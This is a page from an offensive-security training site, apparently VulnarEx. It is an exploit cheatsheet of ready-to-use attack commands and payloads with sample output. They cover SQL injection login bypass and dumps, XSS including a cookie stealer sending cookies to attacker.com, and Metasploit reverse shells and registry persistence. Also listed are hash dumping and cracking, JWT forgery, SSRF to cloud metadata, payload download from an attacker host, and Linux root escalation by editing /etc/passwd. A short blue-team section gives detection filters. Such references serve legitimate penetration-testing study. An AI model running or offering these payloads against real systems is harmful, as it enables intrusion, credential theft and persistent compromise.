VULNAREX
SYSTEM ONLINE

🛡️ Training Arenas

Labs
Interactive exploit and defense labs
Courses
Structured learning tracks and missions
Sandbox
Live browser and terminal hacking arena
Whiteboard
Attack planning and vector sketches
Practice
Hands-on code and vulnerability exercises
Tools
Mini utilities for crypto, encoding, and analysis

📖 Knowledge Vaults

Articles
Deep-dive security investigations
Blogs
Cyber threat news and analysis
Cheatsheets
Quick reference payloads and commands
Docs
Platform docs, guides, and protocols
Vulnerabilities
Latest CVEs, advisories, and KEV details

💼 Career Prep

Exams
Certification and challenge prep
Interview Questions
Common questions and answer walkthroughs
Dashboard
XP, progress, and live rank telemetry
Learning Paths
Guided role-based learning roadmaps
Services
Consulting, training, and expert reviews
Contact
Get in touch with VulnarEx Lab ops
About
Login
Script Kiddie
Lv1 · 0xp
Intel Dispatch · Subscribe

Get Exploit Alerts & New Release Drops

Advanced exploit dissections, CVE breakdowns, and new lab drops — straight to your inbox. Unsubscribe anytime.

VULNAREX

A gamified offensive-security sandbox for developers, sysadmins, and researchers — from baseline hardening to kernel-level exploits.

Core Instance · Active & Stable
Telegram WhatsApp Facebook X / Twitter YouTube
Training
  • Labs
  • Courses
  • Sandbox
  • Practice
  • Whiteboard
  • Tools
Knowledge
  • Articles
  • Blogs
  • Cheatsheets
  • Docs
  • Vulnerabilities
Career
  • Exams
  • Interview Prep
  • Dashboard
  • Learning Paths
  • Services
  • Contact
Cluster Nodes
Active Nodes99.98% SLA
London · UK
24ms
Berlin · DE
18ms
Virginia · US
42ms
Tokyo · JP
95ms
30-day uptime99.98%

© 2026 VULNAREX SECURE LABS · ALL RECON FLAGS PROTECTED

Privacy·Terms·Disclaimer· TLS 1.3·Built with
Vulnarex/Cheatsheets
Quick Reference

Exploit Cheatsheets

12 categories · 55 commands — covering recon, web attacks, exploitation, post-exploitation, and blue team defense.

Linux Shell & Discovery

Linux Shell

Enumeration, privilege audit, and system recon commands.

SUID Binary Audit

Find binaries compiled with SUID bit for privilege escalation vectors.

Easy
find / -perm -4000 -type f 2>/dev/null
Output:/usr/bin/passwd /usr/local/bin/legacy_daemon ← GTFOBins target
MITRE T1548.001

Local Port Bindings

Reveal loopback services invisible to external scanners.

Easy
ss -tulpn | grep LISTEN
Output:tcp LISTEN 0 128 127.0.0.1:3306 (MySQL loopback)
MITRE T1049

Kernel & OS Fingerprint

Identify exact kernel version for legacy exploit matching (DirtyCOW etc.).

Easy
uname -a && cat /etc/*-release
Output:Linux target 5.4.0-73-generic #82-Ubuntu x86_64
MITRE T1082

World-Writable Files

Locate files writable by any user — common path injection targets.

Medium
find / -writable -not -path "*/proc/*" 2>/dev/null | head -20
Output:/tmp /var/crash /etc/custom_cron.sh ← writable cron script!
MITRE T1083

Cron Job Inspection

Enumerate scheduled tasks that may run writable scripts as root.

Medium
cat /etc/crontab && ls -la /etc/cron.*
Output:* * * * * root /opt/cleanup.sh ← check permissions
MITRE T1053.003

Active User Sessions

List currently logged-in users and their terminal sessions.

Easy
who && w && last | head -10
Output:admin pts/0 10.10.14.3 10:22 root tty1 boot
MITRE T1033

Nmap Port Scanning

Nmap Recon

Host discovery, service fingerprinting, and NSE scripts.

Full Version Scan

Sweep all ports with version detection and OS fingerprinting.

Easy
nmap -sV -sC -O -p- --min-rate 5000 -oA full_scan 10.10.42.5
Output:22/tcp open ssh OpenSSH 8.4 80/tcp open http Apache 2.4.49
MITRE T1046

Fast Top-100 Scan

Quick sweep of 100 common ports for initial triage.

Easy
nmap -sV -F --version-light 10.10.42.5
Output:80/tcp open http Apache httpd 2.4.41 443/tcp open https
MITRE T1046

Subnet Host Discovery

Discover live hosts across a subnet without port scanning.

Easy
nmap -sn 10.10.42.0/24
Output:Host 10.10.42.1 is up Host 10.10.42.15 is up
MITRE T1018

UDP Service Scan

Scan common UDP ports — DNS, SNMP, NTP, TFTP.

Medium
nmap -sU -p 53,67,69,123,161,500 10.10.42.5
Output:161/udp open snmp 53/udp open domain
MITRE T1046

Vuln Script Sweep

Run NSE vulnerability scripts against open ports.

Hard
nmap --script vuln -p 80,443,445 10.10.42.5
Output:http-vuln-cve2021-41773: VULNERABLE smb-vuln-ms17-010: NOT VULNERABLE
MITRE T1190

SQL Injection Payloads

SQL Injection

Auth bypass, union extraction, and blind SQLi techniques.

Auth Bypass (Login)

Classic tautology injection to bypass login forms.

Easy
admin' OR '1'='1' -- -
Output:SELECT * FROM users WHERE user='admin' OR '1'='1' -- → LOGIN GRANTED
MITRE T1190

Union Column Count

Determine number of columns in the current query.

Medium
' ORDER BY 1-- - ' ORDER BY 2-- - ' ORDER BY 3-- - (error = column count found)
Output:Error on ORDER BY 4 → 3 columns confirmed
MITRE T1190

Union Schema Dump

Enumerate all table names from the information schema.

Medium
' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -
Output:users admin_panel secret_keys
MITRE T1190

Blind Boolean Test

True/false inference to extract data char-by-char.

Hard
' AND SUBSTRING(username,1,1)='a'-- -
Output:True response = first char is "a"
MITRE T1190

Time-Based Blind

Use sleep() delays to infer data when no visible output.

Hard
' AND SLEEP(5)-- - '; WAITFOR DELAY '0:0:5'-- - (MSSQL)
Output:5 second delay confirms injection point
MITRE T1190

SQLMap Automated Dump

Automate extraction of tables and data with sqlmap.

Medium
sqlmap -u "http://target/page?id=1" --dbs --batch --level=3
Output:Available databases: [production_db, admin_db]
MITRE T1190

XSS Payload Collection

XSS Payloads

Reflected, stored, DOM-based XSS and WAF bypass payloads.

Basic Alert Test

Classic alert payload to confirm XSS execution context.

Easy
<script>alert(document.domain)</script>
Output:Alert popup confirms script execution in target domain
MITRE T1059.007

Cookie Stealer

Exfiltrate session cookies to an attacker-controlled endpoint.

Medium
<script>new Image().src="http://attacker.com/steal?c="+document.cookie</script>
Output:GET /steal?c=session_id=abc123 at attacker.com
MITRE T1539

Event Handler Bypass

Use HTML event attributes when <script> tags are filtered.

Medium
<img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)>
Output:Executes alert via event handler, bypassing script tag filter
MITRE T1059.007

WAF Bypass - Case Mix

Mix uppercase/lowercase to evade case-sensitive WAF rules.

Hard
<ScRiPt>alert(1)</sCrIpT> <IMG SRC=x OnErRoR=alert(1)>
Output:Bypasses WAFs matching exact lowercase patterns
MITRE T1059.007

JS Protocol Bypass

Use javascript: URI in href/src for CSP-light environments.

Hard
<a href="javascript:alert(document.cookie)">Click</a>
Output:Executes JS on click within anchor tag context
MITRE T1059.007

DOM-Based XSS

Inject into document.write() or innerHTML via URL fragment.

Hard
http://target.com/page#<img src=x onerror=alert(1)>
Output:innerHTML assignment executes payload from URL hash
MITRE T1059.007

Metasploit Console

MSF Console

Handlers, session control, and post-exploitation commands.

Reverse TCP Handler

Set up a listener to catch incoming reverse shells.

Easy
use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/reverse_tcp set LHOST 10.10.14.3 set LPORT 4444 run
Output:[*] Started reverse TCP handler on 10.10.14.3:4444
MITRE T1571

SMB Version Scanner

Scan a subnet for SMB versions and protocol support.

Easy
use auxiliary/scanner/smb/smb_version set RHOSTS 10.10.42.0/24 run
Output:[+] 10.10.42.15 Windows Server 2016 — SMBv1 ACTIVE
MITRE T1046

Meterpreter Essentials

Core post-exploitation commands inside a Meterpreter session.

Medium
sysinfo getuid getpid ps migrate <PID> hashdump
Output:Username: NT AUTHORITY\SYSTEM Admin:500:aad3b435...:31d6cfe0:::
MITRE T1059

Persistence via Registry

Establish persistence by adding registry run key.

Hard
use post/windows/manage/persistence_exe set SESSION 1 set STARTUP REGISTRY run
Output:[+] Persistence added at HKCU\Software\Microsoft\Windows\CurrentVersion\Run
MITRE T1547.001

Burp Suite Techniques

Burp Suite

HTTP manipulation, origin spoofing, and proxy intercept tricks.

IP Spoofing Headers

Spoof internal IP headers to bypass admin IP whitelists.

Easy
X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 True-Client-IP: 127.0.0.1
Output:HTTP/1.1 200 OK — access to /admin granted
MITRE T1036

JWT None Algorithm

Set JWT algorithm to "none" to bypass signature verification.

Hard
// Header: {"alg":"none","typ":"JWT"} // Remove signature section (3rd part) eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhZG1pbiI6dHJ1ZX0.
Output:Server accepts forged token if alg:none is not rejected
MITRE T1550.001

SSRF via Redirect

Force server-side requests to internal endpoints via open redirect.

Hard
GET /fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Output:ami-id hostname iam/security-credentials/role-name
MITRE T1090

Parameter Pollution

Send duplicate parameters to confuse parsing logic.

Medium
GET /transfer?amount=1000&to=attacker&to=victim HTTP/1.1
Output:Front-end reads first "to", back-end reads second — split behavior
MITRE T1190

Hash Cracking & Credentials

Hash Cracking

Hashcat, John, and credential extraction techniques.

Hashcat MD5 Wordlist

Crack MD5 hashes using rockyou.txt wordlist.

Easy
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Output:5f4dcc3b5aa765d61d8327deb882cf99:password
MITRE T1110.002

John NTLM Crack

Crack Windows NTLM hashes with John the Ripper.

Easy
john --format=NT --wordlist=rockyou.txt hashes.txt
Output:admin (Administrator)
MITRE T1110.002

Hashcat Rules Attack

Apply transformation rules (append numbers, capitalize) to wordlist.

Medium
hashcat -m 1000 -a 0 -r /usr/share/hashcat/rules/best64.rule hash.txt rockyou.txt
Output:Password1! — best64 rule transforms "password" → "Password1!"
MITRE T1110.002

Impacket secretsdump

Dump SAM/NTDS hashes remotely using valid credentials.

Hard
impacket-secretsdump domain/user:pass@10.10.42.5
Output:Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0...
MITRE T1003.002

File Transfer Methods

File Transfer

Move payloads between attacker and target using various protocols.

Python HTTP Server

Serve files from attacker machine over HTTP instantly.

Easy
# Attacker (serve files) python3 -m http.server 8080 # Target (download) wget http://10.10.14.3:8080/payload.sh curl -O http://10.10.14.3:8080/payload.sh
Output:10.10.42.5 - "GET /payload.sh HTTP/1.1" 200 -
MITRE T1105

SMB Share (Impacket)

Host an SMB share for Windows file transfers without credentials.

Medium
# Attacker impacket-smbserver share $(pwd) -smb2support # Target (Windows) copy \\10.10.14.3\share\nc.exe C:\Windows\Temp\nc.exe
Output:File transfer complete via SMB
MITRE T1105

Base64 In-Band Transfer

Encode binary files to base64 and transfer as text.

Easy
# Encode on attacker base64 -w 0 payload > payload.b64 # Decode on target base64 -d payload.b64 > payload && chmod +x payload
Output:Binary reconstructed from base64 string
MITRE T1132

Netcat Binary Transfer

Transfer files directly over raw TCP with netcat.

Medium
# Receiver nc -lvnp 4444 > received_file # Sender nc 10.10.14.3 4444 < file_to_send
Output:Transfer complete — check MD5 sum to verify integrity
MITRE T1105

Linux Privilege Escalation

PrivEsc

SUID, sudo, cron, and kernel exploit escalation vectors.

Sudo -l Enumeration

List commands current user can run as root via sudo.

Easy
sudo -l
Output:(root) NOPASSWD: /usr/bin/vim → Run: sudo vim -c ":!/bin/bash"
MITRE T1548.003

GTFOBins SUID Escape

Escape to root shell via SUID python binary.

Medium
# Check: find / -perm -4000 2>/dev/null | grep python python -c "import os; os.execl('/bin/sh', 'sh', '-p')"
Output:# whoami → root
MITRE T1548.001

Writable /etc/passwd

Add a new root user if /etc/passwd is writable.

Hard
# Generate password hash openssl passwd -1 -salt hacked pass123 # Append new root user echo "hacker:$1$hacked$...:0:0:root:/root:/bin/bash" >> /etc/passwd su hacker
Output:hacker account with UID 0 created → root shell
MITRE T1098

PATH Hijacking

Create a malicious binary in PATH before the real one.

Hard
export PATH=/tmp:$PATH echo "#!/bin/bash\nbash -p" > /tmp/ls chmod +x /tmp/ls # Run SUID binary that calls "ls"
Output:SUID binary runs /tmp/ls as root → root shell
MITRE T1574.007

Wireshark PCAP Filters

Wireshark

Display filters for isolating credentials, scans, and tunnels.

HTTP POST Credential Capture

Filter POST requests containing login form data.

Easy
http.request.method == "POST" and (http contains "username" or http contains "password")
Output:Shows cleartext credentials submitted over HTTP
MITRE T1040

TCP SYN Scan Detection

Identify port scanning activity by SYN flag pattern.

Easy
tcp.flags.syn == 1 and tcp.flags.ack == 0
Output:High volume of SYN packets to multiple ports = scan detected
MITRE T1046

DNS Exfiltration Filter

Detect data exfiltration via suspicious DNS queries.

Medium
dns and dns.qry.name matches "[a-z0-9]{20,}"
Output:d2h5ZGlkeW91ZGVjb2Rlt.evil.com ← base64 in subdomain
MITRE T1048.003

Follow TCP Stream

Reassemble and read a full TCP conversation.

Easy
# Right-click any packet → Follow → TCP Stream # Or filter: tcp.stream eq 4
Output:Complete HTTP session, shell interaction, or FTP transfer visible

OSINT & Reconnaissance

OSINT

Passive intelligence gathering without touching the target.

Subdomain Enumeration

Discover subdomains using passive DNS and certificate logs.

Easy
subfinder -d target.com -all -o subs.txt amass enum -passive -d target.com
Output:dev.target.com staging.target.com api.target.com admin.target.com
MITRE T1596

Google Dorking

Use Google search operators to find exposed files.

Easy
site:target.com filetype:pdf site:target.com intitle:"index of" site:target.com ext:env OR ext:config
Output:Exposed config files, directory listings, and internal documents
MITRE T1593.002

Shodan Host Lookup

Find internet-exposed services without scanning the target.

Easy
# Shodan CLI shodan host 1.2.3.4 # Browser query org:"Target Corp" port:22 vuln:CVE-2021-41773
Output:Open ports, banners, SSL certs, and known vulnerabilities
MITRE T1596.005

theHarvester Email OSINT

Harvest email addresses and domains from public sources.

Easy
theHarvester -d target.com -b google,bing,linkedin -l 200
Output:admin@target.com john.doe@target.com LinkedIn employees listed
MITRE T1589.002

Defensive & Hardening

Blue Team

Server hardening, log analysis, and incident response commands.

Failed SSH Login Audit

Find brute-force SSH attempts in auth logs.

Easy
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
Output: 847 10.0.0.5 312 192.168.1.100 ← Top attacking IPs

Firewall — Block IP (UFW)

Immediately block a suspicious IP address.

Easy
ufw deny from 10.0.0.5 to any ufw reload ufw status verbose
Output:Rule added: Deny 10.0.0.5 → all ports

Find Recently Modified Files

Detect files changed in the last 24h — useful post-intrusion.

Medium
find / -mtime -1 -type f -not -path "*/proc/*" 2>/dev/null
Output:/etc/passwd ← modified! /var/www/html/shell.php ← webshell?
MITRE T1070

Lynis Security Audit

Run a comprehensive system hardening assessment.

Easy
lynis audit system --quick # or Docker: docker run --rm -v "$(pwd)":/hostdir cisofy/lynis audit system
Output:Hardening index: 67/100 Suggestions: 34 | Warnings: 5